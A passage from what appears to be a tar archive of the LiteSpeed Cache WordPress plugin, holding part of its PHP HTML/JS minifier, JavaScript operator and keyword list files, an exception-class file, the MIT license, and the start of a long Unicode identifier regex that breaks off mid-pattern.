		// remove HTML comments
		$css = preg_replace( '/(?:^\\s*<!--|-->\\s*$)/', '', $css );

		// remove CDATA section markers
		$css = $this->_removeCdata( $css );

		// minify
		$minifier = $this->_cssMinifier
			? $this->_cssMinifier
			: 'trim';
		$css      = call_user_func( $minifier, $css );

		return $this->_reservePlace(
			$this->_needsCdata( $css )
			? "{$openStyle}/*<![CDATA[*/{$css}/*]]>*/</style>"
			: "{$openStyle}{$css}</style>"
		);
	}

	protected function _removeScriptCB( $m ) {
		$openScript = "<script{$m[2]}";
		$js         = $m[3];

		// whitespace surrounding? preserve at least one space
		$ws1 = ( $m[1] === '' ) ? '' : ' ';
		$ws2 = ( $m[4] === '' ) ? '' : ' ';

		// remove HTML comments (and ending "//" if present)
		if ( $this->_jsCleanComments ) {
			$js = preg_replace( '/(?:^\\s*<!--\\s*|\\s*(?:\\/\\/)?\\s*-->\\s*$)/', '', $js );
		}

		// remove CDATA section markers
		$js = $this->_removeCdata( $js );

		// minify
		/**
		 * Added 2nd param by LiteSpeed
		 *
		 * @since  2.2.3
		 */
		if ( $this->_jsMinifier ) {
			$js = call_user_func( $this->_jsMinifier, $js, trim( $m[2] ) );
		} else {
			$js = trim( $js );
		}

		return $this->_reservePlace(
			$this->_needsCdata( $js )
			? "{$ws1}{$openScript}/*<![CDATA[*/{$js}/*]]>*/</script>{$ws2}"
			: "{$ws1}{$openScript}{$js}</script>{$ws2}"
		);
	}

	protected function _removeCdata( $str ) {
		return ( false !== strpos( $str, '<![CDATA[' ) )
			? str_replace( array( '<![CDATA[', ']]>' ), '', $str )
			: $str;
	}

	protected function _needsCdata( $str ) {
		return ( $this->_isXhtml && preg_match( '/(?:[<&]|\\-\\-|\\]\\]>)/', $str ) );
	}
}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/lib/css_js_min/minify/data/js/operators_before.txt000064400000000163151031165260026105 0ustar00+
-
*
/
%
=
+=
-=
*=
/=
%=
<<=
>>=
>>>=
&=
^=
|=
&
|
^
~
<<
>>
>>>
==
===
!=
!==
>
<
>=
<=
&&
||
!
.
[
?
:
,
;
(
{
litespeed-wp-plugin/7.5.0.1/litespeed-cache/lib/css_js_min/minify/data/js/operators_after.txt000064400000000162151031165260025743 0ustar00+
-
*
/
%
=
+=
-=
*=
/=
%=
<<=
>>=
>>>=
&=
^=
|=
&
|
^
<<
>>
>>>
==
===
!=
!==
>
<
>=
<=
&&
||
.
[
]
?
:
,
;
(
)
}litespeed-wp-plugin/7.5.0.1/litespeed-cache/lib/css_js_min/minify/data/js/keywords_reserved.txt000064400000000636151031165260026320 0ustar00do
if
in
for
let
new
try
var
case
else
enum
eval
null
this
true
void
with
break
catch
class
const
false
super
throw
while
yield
delete
export
import
public
return
static
switch
typeof
default
extends
finally
package
private
continue
debugger
function
arguments
interface
protected
implements
instanceof
abstract
boolean
byte
char
double
final
float
goto
int
long
native
short
synchronized
throws
transient
volatilelitespeed-wp-plugin/7.5.0.1/litespeed-cache/lib/css_js_min/minify/data/js/keywords_before.txt000064400000000247151031165260025741 0ustar00do
in
let
new
var
case
else
enum
void
with
class
const
yield
delete
export
import
public
static
typeof
extends
package
private
function
protected
implements
instanceoflitespeed-wp-plugin/7.5.0.1/litespeed-cache/lib/css_js_min/minify/data/js/operators.txt000064400000000170151031165260024561 0ustar00+
-
*
/
%
=
+=
-=
*=
/=
%=
<<=
>>=
>>>=
&=
^=
|=
&
|
^
~
<<
>>
>>>
==
===
!=
!==
>
<
>=
<=
&&
||
!
.
[
]
?
:
,
;
(
)
{
}litespeed-wp-plugin/7.5.0.1/litespeed-cache/lib/css_js_min/minify/data/js/keywords_after.txt000064400000000071151031165260025573 0ustar00in
public
extends
private
protected
implements
instanceoflitespeed-wp-plugin/7.5.0.1/litespeed-cache/lib/css_js_min/minify/exception.cls.php000064400000000720151031165260023745 0ustar00<?php
// phpcs:ignoreFile
/**
 * exception.cls.php - modified PHP implementation of Matthias Mullie's Exceptions Classes.
 *
 * @author Matthias Mullie <minify@mullie.eu>
 */

namespace LiteSpeed\Lib\CSS_JS_MIN\Minify\Exception;

defined( 'WPINC' ) || exit;

abstract class Exception extends \Exception {

}

abstract class BasicException extends Exception {

}

class FileImportException extends BasicException {

}

class IOException extends BasicException {

}
litespeed-wp-plugin/7.5.0.1/litespeed-cache/lib/css_js_min/minify/LICENSE000064400000002043151031165260021463 0ustar00Copyright (c) 2012 Matthias Mullie

Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
the Software, and to permit persons to whom the Software is furnished to do so,
subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
litespeed-wp-plugin/7.5.0.1/litespeed-cache/lib/css_js_min/minify/js.cls.php000064400000111322151031165260022364 0ustar00<?php
// phpcs:ignoreFile
/**
 * js.cls.php - modified PHP implementation of Matthias Mullie's JavaScript minifier
 *
 * @author Matthias Mullie <minify@mullie.eu>
 * @copyright Copyright (c) 2012, Matthias Mullie. All rights reserved
 * @license MIT License
 */

namespace LiteSpeed\Lib\CSS_JS_MIN\Minify;

defined( 'WPINC' ) || exit;

class JS extends Minify {

	/**
	 * Var-matching regex based on http://stackoverflow.com/a/9337047/802993.
	 *
	 * Note that regular expressions using that bit must have the PCRE_UTF8
	 * pattern modifier (/u) set.
	 *
	 * @internal
	 *
	 * @var string
	 */
	const REGEX_VARIABLE = '\b[$A-Z\_a-z\xaa\xb5\xba\xc0-\xd6\xd8-\xf6\xf8-\x{02c1}\x{02c6}-\x{02d1}\x{02e0}-\x{02e4}\x{02ec}\x{02ee}\x{0370}-\x{0374}\x{0376}\x{0377}\x{037a}-\x{037d}\x{0386}\x{0388}-\x{038a}\x{038c}\x{038e}-\x{03a1}\x{03a3}-\x{03f5}\x{03f7}-\x{0481}\x{048a}-\x{0527}\x{0531}-\x{0556}\x{0559}\x{0561}-\x{0587}\x{05d0}-\x{05ea}\x{05f0}-\x{05f2}\x{0620}-\x{064a}\x{066e}\x{066f}\x{0671}-\x{06d3}\x{06d5}\x{06e5}\x{06e6}\x{06ee}\x{06ef}\x{06fa}-\x{06fc}\x{06ff}\x{0710}\x{0712}-\x{072f}\x{074d}-\x{07a5}\x{07b1}\x{07ca}-\x{07ea}\x{07f4}\x{07f5}\x{07fa}\x{0800}-\x{0815}\x{081a}\x{0824}\x{0828}\x{0840}-\x{0858}\x{08a0}\x{08a2}-\x{08ac}\x{0904}-\x{0939}\x{093d}\x{0950}\x{0958}-\x{0961}\x{0971}-\x{0977}\x{0979}-\x{097f}\x{0985}-\x{098c}\x{098f}\x{0990}\x{0993}-\x{09a8}\x{09aa}-\x{09b0}\x{09b2}\x{09b6}-\x{09b9}\x{09bd}\x{09ce}\x{09dc}\x{09dd}\x{09df}-\x{09e1}\x{09f0}\x{09f1}\x{0a05}-\x{0a0a}\x{0a0f}\x{0a10}\x{0a13}-\x{0a28}\x{0a2a}-\x{0a30}\x{0a32}\x{0a33}\x{0a35}\x{0a36}\x{0a38}\x{0a39}\x{0a59}-\x{0a5c}\x{0a5e}\x{0a72}-\x{0a74}\x{0a85}-\x{0a8d}\x{0a8f}-\x{0a91}\x{0a93}-\x{0aa8}\x{0aaa}-\x{0ab0}\x{0ab2}\x{0ab3}\x{0ab5}-\x{0ab9}\x{0abd}\x{0ad0}\x{0ae0}\x{0ae1}\x{0b05}-\x{0b0c}\x{0b0f}\x{0b10}\x{0b13}-\x{0b28}\x{0b2a}-\x{0b30}\x{0b32}\x{0b33}\x{0b35}-\x{0b39}\x{0b3d}\x{0b5c}\x{0b5d}\x{0b5f}-\x{0b61}\x{0b71}\x{0b83}\x{0b85}-\x{0b8a}\x{0b8e}-\x{0b90}\x{0b92}-\x{0b95}\x{0b99}\x{0b9a}\x{0b9c}\x{0b9e}\x{0b9f}\x{0ba3}\x{0ba4}\x{0ba8}-\x{0baa}\x{0bae}-\x{0bb9}\x{0bd0}\x{0c05}-\x{0c0c}\x{0c0e}-\x{0c10}\x{0c12}-\x{0c28}\x{0c2a}-\x{0c33}\x{0c35}-\x{0c39}\x{0c3d}\x{0c58}\x{0c59}\x{0c60}\x{0c61}\x{0c85}-\x{0c8c}\x{0c8e}-\x{0c90}\x{0c92}-\x{0ca8}\x{0caa}-\x{0cb3}\x{0cb5}-\x{0cb9}\x{0cbd}\x{0cde}\x{0ce0}\x{0ce1}\x{0cf1}\x{0cf2}\x{0d05}-\x{0d0c}\x{0d0e}-\x{0d10}\x{0d12}-\x{0d3a}\x{0d3d}\x{0d4e}\x{0d60}\x{0d61}\x{0d7a}-\x{0d7f}\x{0d85}-\x{0d96}\x{0d9a}-\x{0db1}\x{0db3}-\x{0dbb}\x{0dbd}\x{0dc0}-\x{0dc6}\x{0e01}-\x{0e30}\x{0e32}\x{0e33}\x{0e40}-\x{0e46}\x{0e81}\x{0e82}\x{0e84}\x{0e87}\x{0e88}\x{0e8a}\x{0e8d}\x{0e94}-\x{0e97}\x{0e99}-\x{0e9f}\x{0ea1}-\x{0ea3}\x{0ea5}\x{0ea7}\x{0eaa}\x{0eab}\x{0ead}-\x{0eb0}\x{0eb2}\x{0eb3}\x{0ebd}\x{0ec0}-\x{0ec4}\x{0ec6}\x{0edc}-\x{0edf}\x{0f00}\x{0f40}-\x{0f47}\x{0f49}-\x{0f6c}\x{0f88}-\x{0f8c}\x{1000}-\x{102a}\x{103f}\x{1050}-\x{1055}\x{105a}-\x{105d}\x{1061}\x{1065}\x{1066}\x{106e}-\x{1070}\x{1075}-\x{1081}\x{108e}\x{10a0}-\x{10c5}\x{10c7}\x{10cd}\x{10d0}-\x{10fa}\x{10fc}-\x{1248}\x{124a}-\x{124d}\x{1250}-\x{1256}\x{1258}\x{125a}-\x{125d}\x{1260}-\x{1288}\x{128a}-\x{128d}\x{1290}-\x{12b0}\x{12b2}-\x{12b5}\x{12b8}-\x{12be}\x{12c0}\x{12c2}-\x{12c5}\x{12c8}-\x{12d6}\x{12d8}-\x{1310}\x{1312}-\x{1315}\x{1318}-\x{135a}\x{1380}-\x{138f}\x{13a0}-\x{13f4}\x{1401}-\x{166c}\x{166f}-\x{167f}\x{1681}-\x{169a}\x{16a0}-\x{16ea}\x{16ee}-\x{16f0}\x{1700}-\x{170c}\x{170e}-\x{1711}\x{1720}-\x{1731}\x{1740}-\x{1751}\x{1760}-\x{176c}\x{176e}-\x{1770}\x{1780}-\x{17b3}\x{17d7}\x{17dc}\x{1820}-\x{1877}\x{1880}-\x{18a8}\x{18aa}\x{18b0}-\x{18f5}\x{1900}-\x{191c}\x{1950}-\x{196d}\x{1970}-\x{1974}\x{1980}-\x{19ab}\x{19c1}-\x{19c7}\x{1a00}-\x{1a16}\x{1a20}-\x{1a54}\x{1aa7}\x{1b05}-\x{1b33}\x{1b45}-\x{1b4b}\x{1b83}-\x{1ba0}\x{1bae}\x{1baf}\x{1bba}-\x{1be5}\x{1c00}-\x{1c23}\x{1c4d}-\x{1c4f}\x{1c5a}-\x{1c7d}\x{1ce9}-\x{1cec}\x{1cee}-\x{1cf1}\x{1cf5}\x{1cf6}\x{1d00}-\x{1dbf}\x{1e00}-\x{1f15}\x{1f18}-\x{1f1d}\x{1f20}-\x{1f45}\x{1f48}-\x{1f4d}\x{1f50}-\x{1f57}\x{1f59}\x{1f5b}\x{1f5d}\x{1f5f}-\x{1f7d}\x{1f80}-\x{1fb4}\x{1fb6}-\x{1fbc}\x{1fbe}\x{1fc2}-\x{1fc4}\x{1fc6}-\x{1fcc}\x{1fd0}-\x{1fd3}\x{1fd6}-\x{1fdb}\x{1fe0}-\x{1fec}\x{1ff2}-\x{1ff4}\x{1ff6}-\x{1ffc}\x{2071}\x{207f}\x{2090}-\x{209c}\x{2102}\x{2107}\x{210a}-\x{2113}\x{2115}\x{2119}-\x{211d}\x{2124}\x{2126}\x{2128}\x{212a}-\x{212d}\x{212f}-\x{2139}\x{213c}-\x{213f}\x{2145}-\x{2149}\x{214e}\x{2160}-\x{2188}\x{2c00}-\x{2c2e}\x{2c30}-\x{2c5e}\x{2c60}-\x{2ce4}\x{2ceb}-\x{2cee}\x{2cf2}\x{2cf3}\x{2d00}-\x{2d25}\x{2d27}\x{2d2d}\x{2d30}-\x{2d67}\x{2d6f}\x{2d80}-\x{2d96}\x{2da0}-\x{2da6}\x{2da8}-\x{2dae}\x{2db0}-\x{2db6}\x{2db8}-\x{2dbe}\x{2dc0}-\x{2dc6}\x{2dc8}-\x{2dce}\x{2dd0}-\x{2dd6}\x{2dd8}-\x{2dde}\x{2e2f}\x{3005}-\x{3007}\x{3021}-\x{3029}\x{3031}-\x{3035}\x{3038}-\x{303c}\x{3041}-\x{3096}\x{309d}-\x{309f}\x{30a1}-\x{30fa}\x{30fc}-\x{30ff}\x{3105}-\x{312d}\x{3131}-\x{318e}\x{31a0}-\x{31ba}\x{31f0}-\x{31ff}\x{3400}-\x{4db5}\x{4e00}-\x{9fcc}\x{a000}-\x{a48c}\x{a4d0}-\x{a4fd}\x{a500}-\x{a60c}\x{a610}-\x{a61f}\x{a62a}\x{a62b}\x{a640}-\x{a66e}\x{a67f}-\x{a697}\x{a6a0}-\x{a6ef}\x{a717}-\x{a71f}\x{a722}-\x{a788}\x{a78b}-\x{a78e}\x{a790}-\x{a793}\x{a7a0}-\x{a7aa}\x{a7f8}-\x{a801}\x{a803}-\x{a805}\x{a807}-\x{a80a}\x{a80c}-\x{a822}\x{a840}-\x{a873}\x{a882}-\x{a8b3}\x{a8f2}-\x{a8f7}\x{a8fb}\x{a90a}-\x{a925}\x{a930}-\x{a946}\x{a960}-\x{a97c}\x{a984}-\x{a9b2}\x{a9cf}\x{aa00}-\x{aa28}\x{aa40}-\x{aa42}\x{aa44}-\x{aa4b}\x{aa60}-\x{aa76}\x{aa7a}\x{aa80}-\x{aaaf}\x{aab1}\x{aab5}\x{aab6}\x{aab9}-\x{aabd}\x{aac0}\x{aac2}\x{aadb}-\x{aadd}\x{aae0}-\x{aaea}\x{aaf2}-\x{aaf4}\x{ab01}-\x{ab06}\x{ab09}-\x{ab0e}\x{ab11}-\x{ab16}\x{ab20}-\x{ab26}\x{ab28}-\x{ab2e}\x{abc0}-\x{abe2}\x{ac00}-\x{d7a3}\x{d7b0}-\x{d7c6}\x{d7cb}-\x{d7fb}\x{f900}-\x{fa6d}\x{fa70}-\x{fad9}\x{fb00}-\x{fb06}\x{fb13}-\x{fb17}\x{fb1d}\x{fb1f}-\x{fb28}\x{fb2a}-\x{fb36}\x{fb38}-\x{fb3c}\x{fb3e}\x{fb40}\x{fb41}\x{fb43}\x{fb44}\x{fb46}-\x{fbb1}\x{fbd3}-\x{fd3d}\x{fd50}-\x{fd8f}\x{fd92}-\x{fdc7}\x{fdf0}-\x{fdfb}\x{fe70}-\x{fe74}\x{fe76}-\x{fefc}\x{ff21}-\x{ff3a}\x{ff41}-\x{ff5a}\x{ff66}-\x{ffbe}\x{ffc2}-\x{ffc7}\x{ffca}-\x{ffcf}\x{ffd2}-\x{ffd7}\x{ffda}-\x{ffdc}][$A-Z\_a-z\xaa\xb5\xba\xc0-\xd6\xd8-\xf6\xf8-\x{02c1}\x{02c6}-\x{02d1}\x{02e0}-\x{02e4}\x{02ec}\x{02ee}\x{0370}-\x{0374}\x{0376}\x{0377}\x{037a}-\x{037d}\x{0386}\x{0388}-\x{038a}\x{038c}\x{038e}-\x{03a1}\x{03a3}-\x{03f5}\x{03f7}-\x{0481}\x{048a}-\x{0527}\x{0531}-\x{0556}\x{0559}\x{0561}-\x{0587}\x{05d0}-\x{05ea}\x{05f0}-\x{05f2}\x{0620}-\x{064a}\x{066e}\x{066f}\x{0671}-\x{06d3}\x{06d5}\x{06e5}\x{06e6}\x{06ee}\x{06ef}\x{06fa}-\x{06fc}\x{06ff}\x{0710}\x{0712}-\x{072f}\x{074d}-\x{07a5}\x{07b1}\x{07ca}-\x{07ea}\x{07f4}\x{07f5}\x{07fa}\x{0800}-\x{0815}\x{081a}\x{0824}\x{0828}\x{0840}-\x{0858}\x{08a0}\x{08a2}-\x{08ac}\x{0904}-\x{0939}\x{093d}\x{0950}\x{0958}-\x{0961}\x{0971}-\x{0977}\x{0979}-\x{097f}\x{0985}-\x{098c}\x{098f}\x{0990}\x{0993}-\x{09a8}\x{09aa}-\x{09b0}\x{09b2}\x{09b6}-\x{09b9}\x{09bd}\x{09ce}\x{09dc}\x{09dd}\x{09df}-\x{09e1}\x{09f0}\x{09f1}\x{0a05}-\x{0a0a}\x{0a0f}\x{0a10}\x{0a13}-\x{0a28}\x{0a2a}-\x{0a30}\x{0a32}\x{0a33}\x{0a35}\x{0a36}\x{0a38}\x{0a39}\x{0a59}-\x{0a5c}\x{0a5e}\x{0a72}-\x{0a74}\x{0a85}-\x{0a8d}\x{0a8f}-\x{0a91}\x{0a93}-\x{0aa8}\x{0aaa}-\x{0ab0}\x{0ab2}\x{0ab3}\x{0ab5}-\x{0ab9}\x{0abd}\x{0ad0}\x{0ae0}\x{0ae1}\x{0b05}-\x{0b0c}\x{0b0f}\x{0b10}\x{0b13}-\x{0b28}\x{0b2a}-\x{0b30}\x{0b32}\x{0b33}\x{0b35}-\x{0b39}\x{0b3d}\x{0b5c}\x{0b5d}\x{0b5f}-\x{0b61}\x{0b71}\x{0b83}\x{0b85}-\x{0b8a}\x{0b8e}-\x{0b90}\x{0b92}-\x{0b95}\x{0b99}\x{0b9a}\x{0b9c}\x{0b9e}\x{0b9f}\x{0ba3}\x{0ba4}\x{0ba8}-\x{0baa}\x{0bae}-\x{0bb9}\x{0bd0}\x{0c05}-\x{0c0c}\x{0c0e}-\x{0c10}\x{0c12}-\x{0c28}\x{0c2a}-\x{0c33}\x{0c35}-\x{0c39}\x{0c3d}\x{0c58}\x{0c59}\x{0c60}\x{0c61}\x{0c85}-\x{0c8c}\x{0c8e}-\x{0c90}\x{0c92}-\x{0ca8}\x{0caa}-\x{0cb3}\x{0cb5}-\x{0cb9}\x{0cbd}\x{0cde}\x{0ce0}\x{0ce1}\x{0cf1}\x{0cf2}\x{0d05}-\x{0d0c}\x{0d0e}-\x{0d10}\x{0d12}-\x{0d3a}\x{0d3d}\x{0d4e}\x{0d60}\x{0d61}\x{0d7a}-\x{0d7f}\x{0d85}-\x{0d96}\x{0d9a}-\x{0db1}\x{0db3}-\x{0dbb}\x{0dbd}\x{0dc0}-\x{0dc6}\x{0e01}-\x{0e30}\x{0e32}\x{0e33}\x{0e40}-\x{0e46}\x{0e81}\x{0e82}\x{0e84}\x{0e87}\x{0e88}\x{0e8a}\x{0e8d}\x{0e94}-\x{0e97}\x{0e99}-\x{0e9f}\x{0ea1}-\x{0ea3}\x{0ea5}\x{0ea7}\x{0eaa}\x{0eab}\x{0ead}-\x{0eb0}\x{0eb2}\x{0eb3}\x{0ebd}\x{0ec0}-\x{0ec4}\x{0ec6}\x{0edc}-\x{0edf}\x{0f00}\x{0f40}-\x{0f47}\x{0f49}-\x{0f6c}\x{0f88}-\x{0f8c}\x{1000}-\x{102a}\x{103f}\x{1050}-\x{1055}\x{105a}-\x{105d}\x{1061}\x{1065}\x{1066}\x{106e}-\x{1070}\x{1075}-\x{1081}\x{108e}\x{10a0}-\x{10c5}\x{10c7}\x{10cd}\x{10d0}-\x{10fa}\x{10fc}-\x{1248}\x{124a}-\x{124d}\x{1250}-\x{1256}\x{1258}\x{125a}-\x{125d}\x{1260}-\x{1288}\x{128a}-\x{128d}\x{1290}-\x{12b0}\x{12b2}-\x{12b5}\x{12b8}-\x{12be}\x{12c0}\x{12c2}-\x{12c5}\x{12c8}-\x{12d6}\x{12d8}-\x{1310}\x{1312}-\x{1315}\x{1318}-\x{135a}\x{1380}-\x{138f}\x{13a0}-\x{13f4}\x{1401}-\x{166c}\x{166f}-\x{167f}\x{1681}-\x{169a}\x{16a0}-\x{16ea}\x{16ee}-\x{16f0}\x{1700}-\x{170c}\x{170e}-\x{1711}\x{1720}-\x{1731}\x{1740}-\x{1751}\x{1760}-\x{176c}\x{176e}-\x{1770}\x{1780}-\x{17b3}\x{17d7}\x{17dc}\x{1820}-\x{1877}\x{1880}-\x{18a8}\x{18aa}\x{18b0}-\x{18f5}\x{1900}-\x{191c}\x{1950}-\x{196d}\x{1970}-\x{1974}\x{1980}-\x{19ab}\x{19c1}-\x{19c7}\x{1a00}-\x{1a16}\x{1a20}-\x{1a54}\x{1aa7}\x{1b05}-\x{1b33}\x{1b45}-\x{1b4b}\x{1b83}-\x{1ba0}\x{1bae}\x{1baf}\x{1bba}-\x{1be5}\x{1c00}-\x{1c23}\x{1c4d}-\x{1c4f}\x{1c5a}-\x{1c7d}\x{1ce9}-\x{1cec}\x{1cee}-\x{1cf1}\x{1cf5}\x{1cf6}\x{1d00}-\x{1dbf}\x{1e00}-\x{1f15}\x{1f18}-\x{1f1d}\x{1f20}-\x{1f45}\x{1f48}-\x{1f4d}\x{1f50}-\x{1f57}\x{1f59}\x{1f5b}\x{1f5d}\x{1f5f}-\x{1f7d}\x{1f80}-\x{1fb4}\x{1fb6}-\x{1fbc}\x{1fbe}\x{1fc2}-\x{1fc4}\x{1fc6}-\x{1fcc}\x{1fd0}-\x{1fd3}\x{1fd6}-\x{1fdb}\x{1fe0}-\x{1fec}\x{1ff2}-\x{1ff4}\x{1ff6}-\x{1ffc}\x{2071}\x{207f}\x{2090}-\x{209c}\x{2102}\x{2107}\x{210a}-\x{2113}\x{2115}\x{2119}-\x{211d}\x{2124}\x{2126}\x{2128}\x{212a}-\x{212d}\x{212f}-\x{2139}\x{213c}-\x{213f}\x{2145}-\x{2149}\x{214e}\x{2160}-\x{2188}\x{2c00}-\x{2c2e}\x{2c30}-\x{2c5e}\x{2c60}-\x{2ce4}\x{2ceb}-\x{2cee}\x{2cf2}\x{2cf3}\x{2d00}-\x{2d25}\x{2d27}\x{2d2d}\x{2d30}-\x{2d67}\x{2d6f}\x{2d80}-\x{2d96}\x{2da0}-\x{2da6}\x{2da8}-\x{2dae}\x{2db0}-\x{2db6}\x{2db8}-\x{2dbe}\x{2dc0}-\x{2dc6}\x{2dc8}-\x{2dce}\x{2dd0}-\x{2dd6}\x{2dd8}-\x{2dde}\x{2e2f}\x{3005}-\x{3007}\x{3021}-\x{3029}\x{3031}-\x{3035}\x{3038}-\x{303c}\x{3041}-\x{3096}\x{309d}-\x{309f}\x{30a1}-\x{30fa}\x{30fc}-\x{30ff}\x{3105}-\x{312d}\x{3131}-\x{318e}\x{31a0}-\x{31ba}\x{31f0}-\x{31ff}\x{3400}-\x{4db5}\x{4e00}-\x{9fcc}\x{a000}-\x{a48c}\x{a4d0}-\x{a4fd}\x{a500}-\x{a60c}\x{a610}-\x{a61f}\x{a62a}\x{a62b}\x{a640}-\x{a66e}\x{a67f}-\x{a697}\x{a6a0}-\x{a6ef}\x{a717}-\x{a71f}\x{a722}-\x{a788}\x{a78b}-\x{a78e}\x{a790}-\x{a793}\x{a7a0}-\x{a7aa}\x{a7f8}-\x{a801}\x{a803}-\x{a805}\x{a807}-\x{a80a}\x{a80c}-\x{a822}\x{a840}-\x{a873}\x{a882}-\x{a8b3}\x{a8f2}-\x{a8f7}\x{a8fb}\x{a90a}-\x{a925}\x{a930}-\x{a946}\x{a960}-\x{a97c}\x{a984}-\x{a9b2}\x{a9cf}\x{aa00}-\x{aa28}\x{aa40}-\x{aa42}\x{aa44}-\x{aa4b}\x{aa60}-\x{aa76}\x{aa7a}\x{aa80}-\x{aaaf}\x{aab1}\x{aab5}\x{aab6}\x{aab9}-\x{aabd}\x{aac0}\x{aac2}\x{aadb}-\x{aadd}\x{aae0}-\x{aaea}\x{aaf2}-\x{aaf4}\x{ab01}-\x{ab06}\x{ab09}-\x{ab0e}\x{ab11}-\x{ab16}\x{ab20}-\x{ab26}\x{ab28}-\x{ab2e}\x{abc0}-\x{abe2}\x{ac00}-\x{d7a3}\x{d7b0}-\x{d7c6}\x{d7cb}-\x{d7fb}\x{f900}-\x{fa6d}\x{fa70}-\x{fad9}\x{fb00}-\x{fb06}\x{fb13}-\x{fb17}\x{fb1d}\x{fb1f}-\x{fb28}\x{fb2a}-\x{fb36}\x{fb38}-\x{fb3c}\x{fb3e}\x{fb40}\x{fb41}\x{fb43}\x{fb44}\x{fb46}-\x{fbb1}\x{fbd3}-\x{fd3d}\x{fd50}-\x{fd8f}\x{fd92}-\x{fdc7}\x{fdf0}-\x{fdfb}\x{fe70}-\x{fe74}\x{fe76}-\x{fefc}\x{ff21}-\x{ff3a}\x{ff41}-\x{ff5a}\x{ff66}-\x{ffbe}\x{ffc2}-\x{ffc7}\x{ffca}-\x{ffcf}\x{ffd2}-\x{ffd7}\x{ffda}-\x{ffdc}0-9\x{0300}-\x{036f}\x{0483}-\x{0487}\x{0591}-\x{05bd}\x{05bf}\x{05c1}\x{05c2}\x{05c4}\x{05c5}\x{05c7}\x{0610}-\x{061a}\x{064b}-\x{0669}\x{0670}\x{06d6}-\x{06dc}\x{06df}-\x{06e4}\x{06e7}\x{06e8}\x{06ea}-\x{06ed}\x{06f0}-\x{06f9}\x{0711}\x{0730}-\x{074a}\x{07a6}-\x{07b0}\x{07c0}-\x{07c9}\x{07eb}-\x{07f3}\x{0816}-\x{0819}\x{081b}-\x{0823}\x{0825}-\x{0827}\x{0829}-\x{082d}\x{0859}-\x{085b}\x{08e4}-\x{08fe}\x{0900}-\x{0903}\x{093a}-\x{093c}\x{093e}-\x{094f}\x{0951}-\x{0957}\x{0962}\x{0963}\x{0966}-\x{096f}\x{0981}-\x{0983}\x{09bc}\x{09be}-\x{09c4}\x{09c7}\x{09c8}\x{09cb}-\x{09cd}\x{09d7}\x{09e2}\x{09e3}\x{09e6}-\x{09ef}\x{0a01}-\x{0a03}\x{0a3c}\x{0a3e}-\x{0a42}\x{0a47}\x{0a48}\x{0a4b}-\x{0a4d}\x{0a51}\x{0a66}-\x{0a71}\x{0a75}\x{0a81}-\x{0a83}\x{0abc}\x{0abe}-\x{0ac5}\x{0ac7}-\x{0ac9}\x{0acb}-\x{0acd}\x{0ae2}\x{0ae3}\x{0ae6}-\x{0aef}\x{0b01}-\x{0b03}\x{0b3c}\x{0b3e}-\x{0b44}\x{0b47}\x{0b48}\x{0b4b}-\x{0b4d}\x{0b56}\x{0b57}\x{0b62}\x{0b63}\x{0b66}-\x{0b6f}\x{0b82}\x{0bbe}-\x{0bc2}\x{0bc6}-\x{0bc8}\x{0bca}-\x{0bcd}\x{0bd7}\x{0be6}-\x{0bef}\x{0c01}-\x{0c03}\x{0c3e}-\x{0c44}\x{0c46}-\x{0c48}\x{0c4a}-\x{0c4d}\x{0c55}\x{0c56}\x{0c62}\x{0c63}\x{0c66}-\x{0c6f}\x{0c82}\x{0c83}\x{0cbc}\x{0cbe}-\x{0cc4}\x{0cc6}-\x{0cc8}\x{0cca}-\x{0ccd}\x{0cd5}\x{0cd6}\x{0ce2}\x{0ce3}\x{0ce6}-\x{0cef}\x{0d02}\x{0d03}\x{0d3e}-\x{0d44}\x{0d46}-\x{0d48}\x{0d4a}-\x{0d4d}\x{0d57}\x{0d62}\x{0d63}\x{0d66}-\x{0d6f}\x{0d82}\x{0d83}\x{0dca}\x{0dcf}-\x{0dd4}\x{0dd6}\x{0dd8}-\x{0ddf}\x{0df2}\x{0df3}\x{0e31}\x{0e34}-\x{0e3a}\x{0e47}-\x{0e4e}\x{0e50}-\x{0e59}\x{0eb1}\x{0eb4}-\x{0eb9}\x{0ebb}\x{0ebc}\x{0ec8}-\x{0ecd}\x{0ed0}-\x{0ed9}\x{0f18}\x{0f19}\x{0f20}-\x{0f29}\x{0f35}\x{0f37}\x{0f39}\x{0f3e}\x{0f3f}\x{0f71}-\x{0f84}\x{0f86}\x{0f87}\x{0f8d}-\x{0f97}\x{0f99}-\x{0fbc}\x{0fc6}\x{102b}-\x{103e}\x{1040}-\x{1049}\x{1056}-\x{1059}\x{105e}-\x{1060}\x{1062}-\x{1064}\x{1067}-\x{106d}\x{1071}-\x{1074}\x{1082}-\x{108d}\x{108f}-\x{109d}\x{135d}-\x{135f}\x{1712}-\x{1714}\x{1732}-\x{1734}\x{1752}\x{1753}\x{1772}\x{1773}\x{17b4}-\x{17d3}\x{17dd}\x{17e0}-\x{17e9}\x{180b}-\x{180d}\x{1810}-\x{1819}\x{18a9}\x{1920}-\x{192b}\x{1930}-\x{193b}\x{1946}-\x{194f}\x{19b0}-\x{19c0}\x{19c8}\x{19c9}\x{19d0}-\x{19d9}\x{1a17}-\x{1a1b}\x{1a55}-\x{1a5e}\x{1a60}-\x{1a7c}\x{1a7f}-\x{1a89}\x{1a90}-\x{1a99}\x{1b00}-\x{1b04}\x{1b34}-\x{1b44}\x{1b50}-\x{1b59}\x{1b6b}-\x{1b73}\x{1b80}-\x{1b82}\x{1ba1}-\x{1bad}\x{1bb0}-\x{1bb9}\x{1be6}-\x{1bf3}\x{1c24}-\x{1c37}\x{1c40}-\x{1c49}\x{1c50}-\x{1c59}\x{1cd0}-\x{1cd2}\x{1cd4}-\x{1ce8}\x{1ced}\x{1c